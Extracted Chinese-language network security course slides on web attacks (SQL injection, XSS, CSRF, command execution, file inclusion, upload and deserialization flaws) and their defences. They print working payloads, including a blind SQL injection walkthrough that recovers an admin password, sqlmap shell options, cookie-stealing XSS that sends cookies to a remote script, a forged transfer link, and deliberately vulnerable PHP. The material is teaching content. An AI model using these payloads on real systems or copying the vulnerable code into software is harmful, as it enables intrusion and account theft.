《網(wǎng)絡(luò)安全》課件NS-CH06_第1頁
《網(wǎng)絡(luò)安全》課件NS-CH06_第2頁
《網(wǎng)絡(luò)安全》課件NS-CH06_第3頁
《網(wǎng)絡(luò)安全》課件NS-CH06_第4頁
《網(wǎng)絡(luò)安全》課件NS-CH06_第5頁
已閱讀5頁,還剩121頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)

文檔簡介

<html><title>Contents</title><body> <h2>Contents</h2> <ol> <li>Web安全概述</li> <li><b>SQL注入攻擊</b></li> <li><b>跨站腳本攻擊XSS</b></li> <li><b>跨站請求偽造CSRF</b></li> <li>網(wǎng)頁驗證碼</li>

<li>防御Web攻擊</li> </ol></body></html>1目錄(Contents)瀏覽器的同源策略(SOP,Same-OriginPolicy):防止不同來源的內(nèi)容相互干擾如果不使用同源策略,當不知情的用戶瀏覽到某惡意網(wǎng)站時,該網(wǎng)站上運行的腳本代碼將能夠訪問用戶同時訪問的任何其他網(wǎng)站的數(shù)據(jù)和功能,這樣惡意站點就可以從用戶的網(wǎng)上銀行進行轉(zhuǎn)賬、閱讀郵件等2Web安全概述相同協(xié)議相同端口相同域名站點是否同域說明否協(xié)議不同否域名不同否域名不同:8000否端口號不同/demo/是Web安全漏洞輸入輸出驗證不充分SQL注入XSSCSRF/SSRF目錄穿越文件上傳代碼注入命令注入信息泄露整數(shù)溢出……設(shè)計缺陷越權(quán)漏洞非授權(quán)對象引用業(yè)務(wù)邏輯缺陷環(huán)境缺陷框架漏洞基礎(chǔ)環(huán)境漏洞3常見Web安全問題分類目標操作系統(tǒng)和網(wǎng)絡(luò)服務(wù)掃描:NMAP,Nessus,NexposeWeb應(yīng)用掃描工具:BurpSuite(KALI/Windows)AWVS(AcunetixWebVulnerabilityScanner)ZAP(OWASP,KALI)WebScarab(OWASP,KALI):被ZAP項目取代Nikto(KALI):OpenSource(GPL)webserverscannerW3af(KALI):anextremelypopular,powerful,andflexibleframeworkforfindingandexploitingwebapplicationvulnerabilities4Web安全之旅準備—掃描網(wǎng)絡(luò)BurpSuite的使用啟動并設(shè)置代理瀏覽器也需要進行代理設(shè)置(Firefox——foxyproxy插件進行快速設(shè)置)5Web安全之旅準備—掃描網(wǎng)絡(luò)瀏覽器訪問burp截獲6Web安全之旅準備—掃描網(wǎng)絡(luò)WebGoat(owaspbwa,OWASPBrokenWebApplicationsProject):爬蟲(spider)&掃描(Scanner)7Web安全之旅準備—掃描網(wǎng)絡(luò)OWASP(開源Web安全項目)Web漏洞Top10:8Web安全概述根據(jù)風(fēng)險的重要程度SQL注入攻擊(SQLInjection,SQLi)原理:利用Web應(yīng)用對后臺數(shù)據(jù)庫查詢語句處理存在的安全漏洞,攻擊者提交一段精心構(gòu)造的數(shù)據(jù)庫查詢代碼,根據(jù)返回的結(jié)果,獲得他想得知的數(shù)據(jù)受影響的系統(tǒng):對輸入?yún)?shù)不進行檢查和過濾的系統(tǒng)SQL注入的類型:普通注入:根據(jù)數(shù)據(jù)庫提示的有價值信息進行注入盲注(BlindSQLInjection):有經(jīng)驗的管理員在給出錯誤頁面時,沒有提供詳細錯誤信息;攻擊者需要對表中的每個字段進行猜測,難度較大9SQL注入攻擊(SQLi)常見的SQL注入過程10SQL注入攻擊客戶端:參數(shù)值等數(shù)據(jù)被修改服務(wù)端:未經(jīng)檢查和過濾,將被修改的數(shù)據(jù)注入到SQL語句中,SQL語句功能被修改數(shù)據(jù)庫引擎:執(zhí)行被修改后的SQL命令服務(wù)端:將注入的結(jié)果返回給客戶端客戶端:根據(jù)上一次注入獲取到的敏感信息構(gòu)造注入語句進行進一步注入易發(fā)生SQL注入漏洞的位置11SQL注入攻擊參數(shù)名參數(shù)值目錄名Cookie文件名......未經(jīng)檢查和過濾即被代入到SQL命令中注入

漏洞Cookie注入漏洞普遍存在于ASP的程序中實例(PHP):mysqli_query($db,"select*fromnamewhereuser=

'$u'andpsw='$p'");mysqli_query($db,"select*fromnamewhereuser='admin'#'andpsw='123'");12SQL注入攻擊$u=admin'#$p=123簡單實例:提交用戶名密碼的表單(省略部分格式控制代碼)13SQL注入攻擊<formmethod="POST"action="login.php"><tdalign="right">Name:</td><td><inputtype=textname=userID></td><tdalign="right">Password:</td><td><inputtype=passwordname=userPasswd></td><tdalign="center">

<inputtype="Submit"value="POST"name=B1></td><tdalign="center">

<inputtype="reset"value="Reset"name=B2></td></form>login.php<?php$name=$_POST["userID"];$passwd=$_POST["userPasswd"];$db=mysqli_connect('localhost','root','123456')ordie("Fail");mysqli_select_db($db,"test");$sql="select*fromuserswherename='$name'andpassword='$passwd'";……(省略)……if($result=mysqli_query($db,$sql)){ while($array=mysqli_fetch_row($result)){ printf("<tr><td>%s</td><td>%s</td><tr>",$array[1],$array[2]); }}?>14SQL注入攻擊15SQL注入攻擊正確的用戶名/密碼錯誤的用戶名/密碼錯誤的用戶名/密碼Q:輸出又是什么哪?Q:為什么哪?16SQL注入攻擊select*fromuserswherename='$name'andpassword='$passwd'輸入為admin、'OR'1'='1時:select*fromuserswherename='admin'andpassword=''OR'1'='1'輸入為admin、123456'and1=1#時:select*fromuserswherename='admin'andpassword='123456'and1=1#'17SQL注入攻擊按照注入點類型進行分類數(shù)字型注入點URL大概為:/sqli.php?id=1SQL語句大概原型:select*fromtable_name

whereid=1字符型注入點URL大概為:/sqli.php?name=adminSQL語句大概原型:select*fromtable_name

wherename='admin'18SQL注入攻擊(SQLi)Boolean-basedblind(布爾型注入):and1=1#返回正常頁面and1=2#返回錯誤頁面或空頁面Time-basedblind(基于時間延遲注入):向數(shù)據(jù)庫注入時間延遲并檢查服務(wù)器響應(yīng)是否也已經(jīng)延遲Error-based(報錯型注入):數(shù)據(jù)庫執(zhí)行語句的時候會拋出異常信息,如版本信息UNIONquery-based(聯(lián)合查詢注入):partialUNIONquerySQLStackedqueries(piggybacking,多語句查詢注入):querySQL+;+querySQL19SQL注入方法數(shù)字型—內(nèi)聯(lián)SQL注入測試語句20SQL注入漏洞挖掘測試字符串變種預(yù)期結(jié)果‘觸發(fā)錯誤,如果成功,數(shù)據(jù)庫將返回一個錯誤。Value+0Value-0如果成功,將返回與原請求相同的結(jié)果。Value*1Value/1如果成功,將返回與原請求相同的結(jié)果。1or1=11)or(1=1永真條件。如果成功,將返回表中所有的行。Valueor1=2Value)or(1=2空條件。如果成功,則返回與原請求相同的結(jié)果。1and1=21)And(1=2永假條件。如果成功則不返回表中任何行。1or‘a(chǎn)b’=‘a(chǎn)’+’b’1)or(‘a(chǎn)b’=‘a(chǎn)’+’b’SQLServer串聯(lián)。如果成功,則返回與永真條件相同的信息。1or‘a(chǎn)b’=‘a(chǎn)’‘b’1)or(‘a(chǎn)b’=‘a(chǎn)’‘b’Mysql串聯(lián)。如果成功,則返回與永真條件相同的信息。1or‘a(chǎn)b’=‘a(chǎn)’||’b’1)or(‘a(chǎn)b’=‘a(chǎn)’||’b’Oracle串聯(lián)。如果成功,則返回與永真條件相同的信息。字符型—內(nèi)聯(lián)SQL注入測試語句21SQL注入漏洞挖掘測試字符串變種預(yù)期結(jié)果‘觸發(fā)錯誤,如果成功,數(shù)據(jù)庫將返回一個錯誤。1’or‘a(chǎn)’=‘a(chǎn)1’)or(‘a(chǎn)’=‘a(chǎn)永真條件。如果成功,將返回表中所有的行。value’or‘1’=‘2value’)or(‘1’=‘2空條件。如果成功則返回與原來值相同的結(jié)果。1’and‘1’=‘11’)and(‘1’=‘1永假條件。如果成功則不返回表中任何行。1’or‘a(chǎn)b’=‘a(chǎn)’+’b1’)or(‘a(chǎn)b’=‘a(chǎn)’+’b串聯(lián)。如果成功,則返回與永真條件相同的信息。1’or‘a(chǎn)b’=‘a(chǎn)’‘b1’)or(‘a(chǎn)b’=‘a(chǎn)’‘bMysql串聯(lián)。如果成功,則返回與永真條件相同的信息。1’or‘a(chǎn)b’=‘a(chǎn)’||’b1’)or(‘a(chǎn)b’=‘a(chǎn)’||’bOracle串聯(lián)。如果成功,則返回與永真條件相同的信息。SQL注入過程:尋找可能存在SQL注入漏洞的鏈接測試該網(wǎng)站是否有SQL注入漏洞猜測數(shù)據(jù)庫名稱

表的列信息(字段)

表內(nèi)容(數(shù)據(jù))重點關(guān)注用戶相關(guān)的表獲取用戶名(管理員用戶優(yōu)先)+密碼(如果加密,可能需要破解)后續(xù)攻擊:后臺登錄、執(zhí)行命令等22Web攻擊——SQL注入攻擊尋找可能存在SQL注入漏洞的鏈接鏈接:http://www.***.com/main.asp?key_city=1測試該網(wǎng)站是否有SQL注入漏洞:http://www.***.com/main.asp?key_city=1'結(jié)果如下:

------------------------------------- MicrosoftOLEDBProviderforODBCDrivers錯誤'80040e14' [Microsoft][ODBCMicrosoftAccessDriver]字符串的語法錯誤在查詢表達式'web_key=1andweb_city=1''中。

/main.asp,行129 -------------------------------------說明:后臺數(shù)據(jù)庫是access23Web攻擊——SQL注入攻擊在末尾加AND1=2和AND1=1前者返回信息:該欄目無內(nèi)容;后者正常返回; 說明一定存在sql注入漏洞在末尾加:ANDexists(SELECT*FROMadmin)猜測是否有admin表頁面返回正常,猜對了當然也可能返回錯誤24Web攻擊——SQL注入攻擊猜測管理員表表中的字段:猜admin表中是否有id段。在末尾加上:ANDexists(SELECTidFROMadmin),頁面返回正常,說明有id字段ANDexists(SELECTusernameFROMadmin),頁面返回正常,說明有username字段猜密碼字段:ANDexists(SELECTpasswordFROMadmin)。返回正常頁面,說明有password字段到此可以知道admin表中至少有三個字段:id,username,password,這種命名方式與普通程序員的命名方法一致25Web攻擊——SQL注入攻擊猜測用戶名和密碼的長度:猜管理員的id值:ANDexists(SELECTidFROMadminWHEREid=1);看是否有id=1的值,返回正常頁面,猜對了猜id=1的用戶名長度:ANDexists(SELECTidFROMadminWHERElen(username)<6ANDid=1);猜管理員用戶名長度小于6,返回正常頁面,名字不是太長。一個個實驗,直到:ANDexists(SELECTidFROMadminWHERElen(username)=5ANDid=1);返回正常頁面,說明用戶名的長度為5同樣方法,猜出密碼長度是10:ANDexists(SELECTidFROMadminWHERElen(password)=10ANDid=1)26Web攻擊——SQL注入攻擊猜測用戶名:在后面加上:AND1=(SELECTidFROM(SELECT*FROMadminWHEREid=1)WHEREasc(mid(username,1,1))<100)asc函數(shù)將字符轉(zhuǎn)換成ASCII碼,mid函數(shù)截取username字段值的子串(從第1位開始,截取的長度是1)猜測用戶名的第一個字符的ASCII碼值小于100返回正常頁面,說明猜測正確,接著:AND1=(SELECTidFROM(SELECT*FROMadminWHEREid=1)WHEREasc(mid(username,1,1))<50)返回錯誤信息,說明50<=第一個字的ASCII碼值<100用折半查找的思想:AND1=(SELECTidFROM(SELECT*FROMadminWHEREid=1)WHEREasc(mid(username,1,1))<75)27Web攻擊——SQL注入攻擊返回錯誤信息,繼續(xù)直到:AND1=(SELECTidFROM(SELECT*FROMadminWHEREid=1)whereasc(mid(username,1,1))=97);返回正常頁面,說明用戶名的第一個字的ASCII碼是97(a)猜測第二位:AND1=(SELECTidFROM(SELECT*FROMadminWHEREid=1)WHEREasc(mid(username,2,1))=100);說明第二位的ASCII碼是100(d)我們猜測用戶名很可能是admin,因為它正好是五位法測試:AND1=(SELECTidFROM(SELECT*FROMadminWHEREid=1)WHEREusername='admin')返回正常頁面,猜對了,用戶名就是admin28Web攻擊——SQL注入攻擊猜測密碼:方法和猜測用戶名的一樣,用折半查找的思想,很快就能找到密碼是SM8242825!用以下語句驗證一下:AND1=(SELECTidFROM(SELECT*FROMadminWHEREid=1)WHEREpassword=‘SM8242825!’);返回正常頁面!我們已經(jīng)找到了用戶名和密碼,分別是:admin

SM8242825!29Web攻擊——SQL注入攻擊SQL注入工具舉例:sqlmap(KALI,Python)havij(胡蘿卜、商業(yè)版)Pangolin(穿山甲)

Sqlninja30Web攻擊——SQL注入攻擊命令行參數(shù)說明-uURL指定測試的URL地址--cookie指定cookie值--dbs獲取數(shù)據(jù)庫信息--current-db列出當前應(yīng)用使用的數(shù)據(jù)庫-D指定數(shù)據(jù)庫--tables獲取數(shù)據(jù)庫表信息,一般結(jié)合-D參數(shù)獲取指定數(shù)據(jù)庫的表-T指定數(shù)據(jù)庫表--columns獲取表字段名稱,一般結(jié)合-T參數(shù)獲取指定表的字段名-C指定數(shù)據(jù)庫表的列--dump轉(zhuǎn)存數(shù)據(jù)庫數(shù)據(jù),可結(jié)合-D、-T、-C參數(shù)獲取指定的數(shù)據(jù)--privileges測試用戶權(quán)限,--privileges–Usa測試sa用戶權(quán)限--os-cmd=“netuser”執(zhí)行netuser命令--os-shell獲取系統(tǒng)交互shell31Web攻擊——SQL注入攻擊常用的SQLMap命令行參數(shù)Sqlmap注入實例:32Web攻擊——SQL注入攻擊TamperData33Web攻擊——SQL注入攻擊基于布爾值的盲注基于錯誤的盲注UNION查詢基于時間的盲注查詢數(shù)據(jù)庫與表:34Web攻擊——SQL注入攻擊查詢表的列:35Web攻擊——SQL注入攻擊查詢表的內(nèi)容:36Web攻擊——SQL注入攻擊SQL注入的防范:使用預(yù)編譯語句,綁定變量對用戶提交的數(shù)據(jù)和輸入?yún)?shù)進行嚴格的過濾:比如過濾逗號,單引號,分號等;如果select、delete、from、*、union之類的字符串同時出現(xiàn)多個的話,也要引起重視;最好對用戶提交參數(shù)的長度也進行判斷摒棄動態(tài)SQL語句,改用存儲過程來訪問和操作數(shù)據(jù)??紤]Web程序需要對數(shù)據(jù)庫進行的各種操作,建立存儲過程,讓程序調(diào)用存儲過程來完成數(shù)據(jù)庫操作。這樣提交的數(shù)據(jù)將是作為參數(shù)傳遞給存儲過程使用安全函數(shù):比如OWASPESAPI遷移到ORM框架:最小權(quán)限原則:避免Web應(yīng)用直接使用root、dbowner等高權(quán)限賬戶直接連接數(shù)據(jù)庫37SQL注入攻擊的防御38SQL注入攻擊的防御!客戶端驗證不可信39SQL注入攻擊的防御PHP的預(yù)編譯語句:40SQL注入攻擊的防御<?php$name=$_POST["userID"];$passwd=$_POST["userPasswd"];$mysqli=newmysqli('localhost','root','123456','test');$stmt=$mysqli->prepare(“SELECT*FROMusersWHEREname=?ANDpassword=?");$stmt->bind_param('ss',$name,$passwd);$stmt->execute();if($mysqli->affected_rows){$result=$stmt->get_result();while($row=$result->fetch_assoc()){

printf("<tr><td>%s</td><td>%s</td><tr>",$row["name"],$row["password"]);}}?>ORM(對象關(guān)系映射、ObjectRelationalMapping):通過使用描述對象和數(shù)據(jù)庫之間映射的元數(shù)據(jù),將面向?qū)ο笳Z言程序中的對象自動持久化到關(guān)系數(shù)據(jù)庫中。本質(zhì)上就是將數(shù)據(jù)從一種形式轉(zhuǎn)換到另外一種形式常見的ORM框架有:Hibernate、TopLink、CastorJDO、ApacheOJB等SQL注入的防御跨站腳本攻擊(CrossSiteScript,XSS):攻擊者往Web頁面里插入惡意腳本代碼,當用戶瀏覽該網(wǎng)頁時,嵌入其中的代碼被執(zhí)行remark:應(yīng)縮寫為CSS,但與層疊樣式表(CascadingStyleSheets,CSS)的縮寫混淆,因此縮寫為XSS攻擊者通常在有漏洞的程序中插入JavaScript、VBScript、ActiveX或Flash以欺騙用戶可以盜取用戶帳戶,修改用戶設(shè)置,盜取/污染cookie,做虛假廣告,查看主機信息等42跨站腳本攻擊跨站腳本攻擊發(fā)起條件:Web服務(wù)器沒有對用戶輸入進行有效性驗證或驗證強度不夠,而又輕易地將它們返回給客戶端允許用戶在表格或編輯框中輸入不相關(guān)的字符存儲并允許把用戶輸入顯示在返回給終端用戶的頁面上,而沒有去除非法字符或者重新進行編碼實現(xiàn)XSS至少需要兩個條件:需要存在跨站腳本漏洞的web應(yīng)用程序需要用戶點擊連接或者訪問某一頁面43跨站腳本攻擊原理舉例(PHP):<?php echo$_POST["inputID"]?>Q:如果輸入<script>alert('xss')</script>會怎么樣那?44跨站腳本攻擊原理舉例(JAVA,JSP):45跨站腳本攻擊Stringmsg=request.getParameter("msg");out.print(msg);原理舉例:46跨站腳本攻擊<script> eval(location.hash.substring(1));</script>47跨站腳本攻擊setcookie('username','bitsec');#alert(document.cookie)攻擊案例:MySpace:2005年Samy在個人資料中加入Javascript,打開該頁面的瀏覽器將執(zhí)行該腳本——首先把攻擊者加為好友,其次把這段XSS復(fù)制到被攻擊者的個人資料中導(dǎo)致一場大規(guī)模的基于XSS漏洞的蠕蟲傳播,一個小時內(nèi),Samy的好友數(shù)目超過了一百萬個MySpace為清除所有被感染的用戶文檔中的XSS,被迫停止運行Samy最終被判對MySpace進行經(jīng)濟賠償并做3個月社會義工48跨站腳本攻擊XSS的分類:反射型XSS(XSSReflection,非持久性的XSS):簡單的將用戶輸入數(shù)據(jù)“反射”給瀏覽器,黑客需要誘導(dǎo)用戶點擊一個惡意鏈接存儲式XSS(StoredXSS):攻擊腳本永久存儲在目標服務(wù)器數(shù)據(jù)庫或者文件中,比如黑客寫下一篇含有惡意JavaScript代碼的博客文章DOM型XSS:利用客戶端瀏覽器對請求的頁面進行DOM渲染49跨站腳本攻擊常發(fā)生于搜索引擎、錯誤提示頁面等對用戶輸入的直接反饋中50XSSReflection——會話劫持攻擊/index.php?message=<script>var+i=new+Image;+i.src=/%2bdocument.cookie;</script>為什么攻擊者不能直接從a發(fā)起獲取cookie的URL?51StoredXSS常發(fā)生于對用戶提交文章中的文本信息沒有很好過濾的論壇,blog等52DOMXSS輸入:

'><imgsrc=#onerror=alert("xss")/><'53DOMXSS<ahref='http://'><imgsrc=#onerror=alert("xss")/><''>測試鏈接</a>輸入'onclick=alert("XSS")//54跨站腳本攻擊<ahref='"+str+"'>測試鏈接</a><ahref=''onclick=alert("XSS")//'>測試鏈接</a>DOMXSS與反射XSS、存儲XSS的區(qū)別:DOMXSS的代碼并不需要服務(wù)器解析響應(yīng),而是瀏覽器的DOM解析觸發(fā)跨站腳本攻擊過程尋找XSS漏洞沒有過濾字符的情況下,只需保持完整無錯的腳本標記即可觸發(fā)XSS。假如在某個表單提交內(nèi)容,將:"><script>alert('XSS');</script><"賦值給<Ahref="">baidu</A>的href屬性,則結(jié)果變?yōu)?lt;Ahref=""><script>alert('XSS');</script><"">baidu</A>55跨站腳本攻擊在網(wǎng)頁里顯示一張圖片的<img>標記:<imgsrc=“/xss.gif">Q:瀏覽器會不會檢測src屬性所賦的值?A:否!js可以使用“javascript:”協(xié)議說明符加上任意的js代碼,當瀏覽器裝載URL時便會執(zhí)行其中代碼經(jīng)典的XSS示例:<imgsrc="javascript:alert('XSS');">把代碼存儲為xss.htm,用IE瀏覽,會彈出一個由js調(diào)用的對話框56跨站腳本攻擊57跨站腳本攻擊注入惡意代碼當被欺騙者訪問了含有惡意代碼的網(wǎng)頁時,就能實現(xiàn)攻擊目的把cookie發(fā)到遠程的javascript代碼:javascript:window.location=‘http:///cookie.cgi?’+document.cookie如果網(wǎng)頁對<,>,’,”等字符進行過濾,就需要進行編碼58跨站腳本攻擊IE默認采用UNICODE編碼,HTML編碼可用&#ASCII方式來寫。XSS轉(zhuǎn)碼針對屬性所賦的值,例如:<imgsrc="javascript:alert('XSS')"><imgsrc="javascript:alert('XSS')">

//10進制轉(zhuǎn)碼<imgsrc="javascript:alert('XSS')">//16進制轉(zhuǎn)碼59跨站腳本攻擊對于論壇,還可以根據(jù)論壇的特定編程方式來提權(quán)例如論壇后臺通過admin_user.asp來修改用戶的權(quán)限:admin_user.asp?&username=xxx&membercode=yyy,意思是把xxx用戶的權(quán)限設(shè)置為yyy結(jié)合<img>標簽,可以構(gòu)造如下攻擊代碼:<imgsrc=“javascript:window.location=‘/admin_user.asp?&username=xxx&membercode=yyy’”>用戶瀏覽這張圖片時,轉(zhuǎn)去admin_user.asp頁面,并嘗試把用戶xxx的權(quán)限修改為yyy60跨站腳本攻擊欺騙用戶訪問不是所有用戶都有足夠的權(quán)限幫你完成惡意目的,例如論壇中提升用戶權(quán)限的跨站腳本,一般只有超級管理員才有這個權(quán)限。這時就需要誘騙管理員來訪問你的惡意頁面欺騙也是一門藝術(shù),大家就發(fā)揮自己的想象力吧!61跨站腳本攻擊跨站腳本攻擊實例——顯示cookie谷歌/百度一下inurl:'Product.asp?BigClassName‘在URL中輸入:<script>alert('xxs')</script>把alert里面的內(nèi)容換成document.cookie62跨站腳本攻擊Cookie劫持:Cookie中一般加密保存了用戶的登錄憑證;如果獲取了用戶的cookie,則可以不通過密碼,就可以直接登錄其賬戶Cookie劫持的防御:啟用Cookie的HttpOnly標識;或者將cookie與客戶端IP綁定設(shè)置HttpOnly屬性,那么js腳本將無法讀取cookie信息JavaEE:response.setHeader("Set-Cookie",

"cookiename=value;

Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

63Cookie劫持Beefxssframework64跨站腳本攻擊65跨站腳本攻擊跨站腳本攻擊防御——對用戶,教育為主在網(wǎng)站、電子郵件或者IM軟件中點擊鏈接時需要格外小心:留心可疑的過長鏈接,尤其是看上去包含了HTML代碼對于XSS漏洞,沒有哪種瀏覽器具有明顯的安全優(yōu)勢??砂惭b一些瀏覽器插件:如Firefox的NoScript或者Netcraft工具條沒有“100%的有效”。盡量避免訪問有問題的站點:比如提供hack信息和工具、破解軟件的網(wǎng)站。這些網(wǎng)站會利用瀏覽器漏洞并危害系統(tǒng)66跨站腳本攻擊跨站腳本攻擊防御——Web應(yīng)用開發(fā)者對所有用戶提交內(nèi)容進行可靠的輸入驗證。包括URL、查詢關(guān)鍵字、POST數(shù)據(jù)等。只接受在規(guī)定長度范圍內(nèi)、采用適當格式的字符,阻塞、過濾或者忽略其它任何東西保護所有敏感的功能,以防被機器人自動執(zhí)行或者被第三方網(wǎng)站所執(zhí)行??刹捎茫簊ession(sessiontokens)、驗證碼使用具有自動編碼功能的框架。如OWASPESAPI、JSOUP、ReactJS等。對于JAVA而言,可以使用ESAPI.encoder().encodeForHTML()對字符串進行HTML編碼。將一些敏感字符進行轉(zhuǎn)義,比如將單引號通過十進制編碼(')、十六進制編碼(')、HTML編碼(&apos)或者Unicode編碼(\u0027)進行編碼替換67跨站腳本攻擊跨站腳本攻擊防御——Web應(yīng)用開發(fā)者例如:PHPhtmlspecialchars():把預(yù)定義的字符轉(zhuǎn)換為HTML實體:&

&“

"‘

'(默認不過濾,只有設(shè)置quotestyle選項為ENT_QUOTES才過濾)<

<>

><?phpechohtmlspecialchars($_POST["username"]);?>68跨站腳本攻擊CSRF(Cross-siteRequestForgery,跨站請求偽造):在受害者不知情的情況下,偽造受害者發(fā)出請求,實現(xiàn)在未授權(quán)的情況下執(zhí)行操作利用受害者已經(jīng)登錄或已經(jīng)授權(quán)的狀態(tài),偽造受害者進行一些特權(quán)操作,比如獲取敏感信息,甚至盜走受害者財產(chǎn)//

transfer.php<?php//獲取轉(zhuǎn)賬金額數(shù)$money=$_GET['money'];//獲取收款人$person=$_GET['person'];//進行轉(zhuǎn)賬操作//將money款項的錢轉(zhuǎn)至person的賬戶內(nèi)echo"轉(zhuǎn)賬成功!";?>攜帶受害者的Cookie訪問頁面,在GET參數(shù)中攜帶要轉(zhuǎn)賬的賬戶和錢款數(shù)目,即可完成轉(zhuǎn)賬操作<ahref="http://xxx/transfer.php?money=10000&person=hacker"taget="_blank">震驚??!快點進去看看??!<a/>攻擊者誘導(dǎo)受害者在沒有登出銀行的轉(zhuǎn)賬系統(tǒng)的情況下點擊該鏈接跨站請求偽造(CSRF)70跨站請求偽造(CSRF)代碼示例:站點A:惡意站點:71跨站請求偽造(CSRF)Stringuser=request.getParameter(“user”);Stringpwd=request.getParameter(“pwd”);PreparedStatmentps=con.preparedStatment(“updateusersetpassword=?whereuserid=?”);ps.setString(1,user);ps.setString(2,pwd);con.excuteUpdate();<imgsrc=http://siteA//updateuser.jsp?user=admin&pwd=123456>CSRF防御驗證碼

RefererCheck檢查請求來源增加請求參數(shù)token用戶登錄后隨機生成一段字符串并存儲在Session中在敏感操作中加入隱藏標簽,value即為Session中保存的字符串提交請求,服務(wù)器拿Session與Token對比更新Token

增加二次驗證機制,在敏感操作時不再直接通過某個請求執(zhí)行,而是再次驗證用戶口令或再次驗證類似驗證碼等隨機數(shù)。比如轉(zhuǎn)賬操作時,要求用戶二次輸入密碼等。72跨站請求偽造(CSRF)73命令執(zhí)行<?php $target=$_GET['ip']; $cmd="ping-c3$target"; echo$cmd; system($cmd);?>常?的容易造成命令執(zhí)?的函數(shù)和命令連接符exec():不輸出結(jié)果,返回最后一行shell結(jié)果system():輸出并返回最后一?shell結(jié)果popen():不會直接返回執(zhí)行結(jié)果,而是返回一個文件指針passthru():調(diào)用命令,把命令的運行結(jié)果原樣返回,直接輸出到標準輸出設(shè)備上,常用在當所執(zhí)行的linux命令輸出二進制數(shù)據(jù)時proc_open():不直接返回執(zhí)行結(jié)果,而是返回一個文件指針pcntl_exec():執(zhí)?發(fā)生錯誤時返回FALSE,無錯誤時不返回shell_exec():將完整的輸出以字符串的方式返回;|&%0a``命令執(zhí)行謹慎使用eval等可引起命令執(zhí)行的函數(shù)。在能不使用命令執(zhí)行的環(huán)境下禁止使用該類函數(shù),可以在PHP配置文件中的disable_functions中進行禁用。對用戶提供的參數(shù)進行必要的過濾。比如使用escapeshellarg()、escapeshellcmd()函數(shù)對其進行過濾或轉(zhuǎn)碼escapeshellarg():

給字符串增加一個單引號且能引用或者轉(zhuǎn)碼任何已經(jīng)存在的單引號,以確保能夠直接將一個字符串傳?shell函數(shù),并且還是確保安全的escapeshellcmd():

對字符串中可能會欺騙shell命令執(zhí)行任意命令的字符進行轉(zhuǎn)義,保證用戶輸入的數(shù)據(jù)在傳送到exec()或system()函數(shù)或執(zhí)行操作符前進行轉(zhuǎn)義參數(shù)值盡量使用引號進行包裹,并在拼接前調(diào)用addslashes()函數(shù)進行轉(zhuǎn)義黑名單(過濾特殊字符或者替換字符)命令執(zhí)行的防御文件包含(FileInclusion)漏洞:代碼注入的一種,可分為本地文件包含(LFI,LocalFileInclude)遠程文件包含(RFI,RemoteFileInclusion)常見的導(dǎo)致文件包含的函數(shù):PHP:include(),include_once(),require(),require_once(),fopen(),readfile(),…JSP/Servlet:java.io.File(),java.io.FileReader(),…ASP:includefile,includevirtual,…文件包含漏洞需要兩個條件:include()等函數(shù)通過動態(tài)變量的方式包含需要包含的文件攻擊者能夠控制該動態(tài)變量文件包含漏洞PHP:include(),include_once(),require(),require_once()當使用這些函數(shù)包含一個新的文件時,該文件將作為php代碼執(zhí)行,php內(nèi)核并不在意包含文件的類型<?php

include($_GET[‘test’]);?>文件包含漏洞文件包含漏洞文件包含漏洞能否通過文件包含獲取PHP文件源代碼?PHP偽協(xié)議——

php://filter一般用于任意文件讀取php://filter/read=convert.base64-encode/resource=文件包含漏洞文件包含漏洞PHP偽協(xié)議——php://input訪問請求的原始數(shù)據(jù)的只讀流,將post請求的數(shù)據(jù)當作php代碼執(zhí)行php.ini:allow_url_include選項為On文件包含漏洞PHP:allow_url_include、allow_url_fopen選項(是否允許遠程包含文件)該選項配置為on時,可以直接遠程包含/打開文件php.ini文件包含漏洞文件包含的防御:嚴格判斷包含中的參數(shù)是否外部可控對包含路徑進行限制。限制被包含的文件只能在某個文件夾內(nèi),禁用目錄跳轉(zhuǎn)字符,比如“../”等。本地文件包含可以通過PHP中配置open_basedir選項來限制特定的可打開文件目錄文件驗證。驗證包含的文件是否是在白名單中盡量減少或不使用動態(tài)包含,必須使用文件包含的地方直接靜態(tài)寫入,不允許通過動態(tài)變量的方式控制包含文件,如include("footer.php")文件包含漏洞沒有校驗文件類型文件上傳漏洞文件上傳漏洞(前端校驗)文件上傳漏洞(Content-type檢查)從PHP說起——文件上傳漏洞(黑名單過濾)文件上傳漏洞防護uniqid(prefix,more_entropy):基于微秒計的當前時間,生成一個唯一的IDPrefix:可選,為id規(guī)定前綴more_entropy:可選,在返回值末尾添加額外的熵(使用組合線)md5(uniqid().$uploaded_name):使用uniqid()函數(shù)生成唯一id,隨后使用MD5對文件名進行了重命名,可以防護00截斷攻擊白名單限制上傳文件后綴限制上傳文件大?通過Imagecreatefromjpeg()和imagecreatefrompng()函數(shù)將上傳文件重新寫?一個新的圖片文件中,抹除圖片中的有害元數(shù)據(jù)imagedestory($img)將上傳的原文件刪除unlink($temp_file)刪除過濾過程中產(chǎn)生的任何臨時文件MD5文件名校驗文件大小限制抹除有害的元數(shù)據(jù)刪除用戶上傳源文件刪除臨時文件序列化被用于:遠程和進程間通信(RPC/IPC)連線協(xié)議、Web服務(wù)、消息代理緩存/持久性數(shù)據(jù)庫、緩存服務(wù)器、文件系統(tǒng)HTTPcookie、HTML表單參數(shù)、API身份驗證令牌不安全的反序列化會導(dǎo)致遠程代碼執(zhí)行。攻擊者還可以執(zhí)行以下攻擊:重放攻擊注入攻擊特權(quán)提升攻擊反序列化漏洞序列化(Serialization):將程序中對象的狀態(tài)信息轉(zhuǎn)換為可存儲形式的過程(一般為字符串)反序列化(

